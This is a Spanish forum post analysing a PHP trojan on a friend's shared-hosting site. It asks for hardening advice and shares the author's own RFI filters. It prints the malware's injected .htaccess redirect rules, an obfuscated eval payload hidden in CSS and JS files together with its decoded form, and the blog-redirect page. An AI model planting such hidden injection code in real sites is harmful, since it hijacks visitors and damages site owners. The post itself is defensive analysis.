Muy buenas foreros. Me vais a perdonar este largo post pero merece la pena, hace una semana una amiga que tiene una web alojada en hostmonster.com me dijo que estaba teniendo problemas porque llevaba siendo comprometida un time y me ofrecí a echarle un vistazo.
Rápidamente me di cuenta de que tanto el propio hostmonster como la propia web estaban mal configurados, me explico :
- Diversas vulnerabilidades por ficheros php mal codeados : http/php-inject,lfi, rfi.. por mencionar algunos... en la web amiga, directorios en el raíz del server ( que no en nuestro /home/ al que sí tenemos acceso ) con permisos 777 y accesibles para cualquiera.. en fin.
A raíz de ahí fui investigando el coladero, ese hosting tiene el acceso ssh deshabilitado por defecto, y para activarlo hay que llamarlos por tlf y aun así no creo,me valí de una cmdshell para poder realizar tareas de administración que no fueran las que permite el cPanel de &@!*¡! que lleva hostmonster... en todo eso que me di cuenta de que había sido infectado por un troyano que afecta a php ( http://www.trustedsource.org/blog/34/ ), el troyano en cuestión copia varios ficheros tal como blog.htm,check.js,dummy.htm,t.htm en alguna subcarpeta escondida tal como somedir/ex3/vole/, edita el fichero .htaccess y añade el siguiente código:
# a0b4df006e02184c60dbf503e71c87ad
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|alltheweb|fireball|freenet|abacho|wanadoo|free|club-internet|aliceadsl|alice|skynet|terra|ya|orange|clix|terravista|gratis-ting|suomi24)\. [NC]
RewriteCond %{HTTP_REFERER} [?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=
RewriteCond %{HTTP_REFERER} ![?&](q|query|qs|searchfor|search_for|w|p|r|key|keywords|search_string|search_word|buscar|text|words|su|qt|rdata)\=[^&]+(%3A|%22)
RewriteCond %{TIME_SEC} <59
RewriteRule ^.*$ /singles/singles/Perraverde/vole/ex3/t.htm [L]
# a995d2cc661fa72452472e9554b5520c
Aparte de eso, infecta la mayoría de ficheros .css y la totalidad de .js ( comprobado ) con código como éste poco visible aparte de una ristra md5 con la cual se identifica el server como vulnerable:
* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape('%69%66%20%28%21%64%6F%635%6D%65%6E%74%2E%67
%65%74%45%6C%65%6D%65%6E%74%42%79%49%6
4%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%3
9%3B%20%4A%53%53%32%20%3D%20%32%37%32%33%37%34%38%3B%20%4A%53
%53%33%20%3D%20%27%2F%73%69%6E%67%6C%65%73%2F%73%69%6E%67%6C%
65%73%2F%50%65%72%72%61%76%65%72%64%65%2F%76%6F%6C%65%2F%64%75
%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64
%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%
74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74
%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%73%69%6E%
67%6C%65%73%2F%73%69%6E%67%6C%65%73%2F%50%65%72%72%61%76%65%72
%64%65%2F%76%6F%6C%65%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%
6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C
%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%
65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%2
7%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%
64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20'))) } /* a995d2cc661fa72452472e9554b5520c */
Utilizando un conversor ascii se queda así:
Original: /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('if (!document.getElementById('JSSS')){ JSS1 = 59; JSS2 = 2723748; JSS3 = '/singles/singles/Perraverde/vole/dummy.htm'; var js = document.createElement('script'); js.setAttribute('src', '/singles/singles/Perraverde/vole/check.js'); js.setAttribute('id', 'JSSS'); document.getElementsByTagName('head').item(0).appendChild(js) }; ')); /* a995d2cc661fa72452472e9554b5520c */
Esto tiene como consecuencia que todo link de buscador hacia la página apunta hacia un blog, y no a la página original en cuestión, las imágenes por culpa del .htaccess modificado muchas no funcionan, así que los servicios del portal quedan mermados.
El fichero dummy.htm contiene lo siguiente :
<html>
<body>
<a id='hr' href="blog.htm"></a>
<script>
try {
document.getElementById('hr').click()
} catch(e) {
location.href='blog.htm'
}
</script>
</body>
</html>
intenta hacer click por id ( hr ) a blog.htm y si no puede redirecciona hacia un blog x del interesado.
Está claro que se trata de un troyano-spammer bastante bien pensado para subir ranking de determinados websites en buscadores, y funciona.
Hasta ahí bien, está claro que :
- Los ficheros .php deberían ser saneados, tanto consultas como formularios
- Cambio de Hosting a algo más decente
- Al final, rediseño de la web por completo evitando agujeros de seguridad tan claros y concisos
El tema está en que tienen un nuevo diseño en camino pero de mientras he probado a securizar un poco los php ( no soy programador experto ), de la siguiente manera :
<?
Header("X-Powered-by: safe_http");
if(preg_match("/http:/i", urldecode(getenv("REQUEST_URI").getenv("QUERY_STRING"))))
{
Header( "HTTP/1.1 503 Service Unavailable" );
exit;
}
?>
y al .htaccess lo siguiente :
RewriteEngine on
RewriteCond %{QUERY_STRING} http[:%] [NC]
RewriteRule .* /------------http----------- [F,NC]
RewriteRule http: /---------http----------- [F,NC]
Con lo cual el rfi no se puede explotar y te evitas un eventual acceso fácil ( comprobado ).
También tengo que decir que los ficheros .js infectados no le borre el código malicioso, ya que todos los ficheros y directorios tienen como propietario el mismo usuario con el que se accede al hosting, y, por lo tanto, a través de cualquier fallo de seguridad, y aunque edite los ficheros o cambie los permisos, son reeditados de nuevo, ya que sólo dispongo de ese usuario para apache, y no está separado como se tiene por ejemplo, con el user restringido www-data para apache, y otro user para el .htaccess por ejemplo, así no nos evitariamos el ataque, pero el .htaccess no podría ser re-editado por el troyano a no ser que escalara privilegios ( y ya no podría ser un ataque masivo, como lo es ahora ), el hosting es un CentOS
$ uname -a
Linux host199.hostmonster.com 2.6.27-6_1.intel.BHsmp #1 SMP Thu Nov 13 15:27:29 MST 2008 x86_64 x86_64 x86_64 GNU/Linux
También he de añadir que he probado a setear variables php para minimizar riesgos en el .htaccess pero como no tiene el suyo propio no funciona y da errores, así que voy probando cosas conforme se me van ocurriendo o leyendo, alguna idea ??? supongo que me he dejado alguna cosa en el tintero de lo que he ido probando..
Espero que no os hayais dormido leyendo esto y expongais vuestras ideas, muchas gracias por vuestro tiempo dedicado,un saludo y espero respuestas!!! =)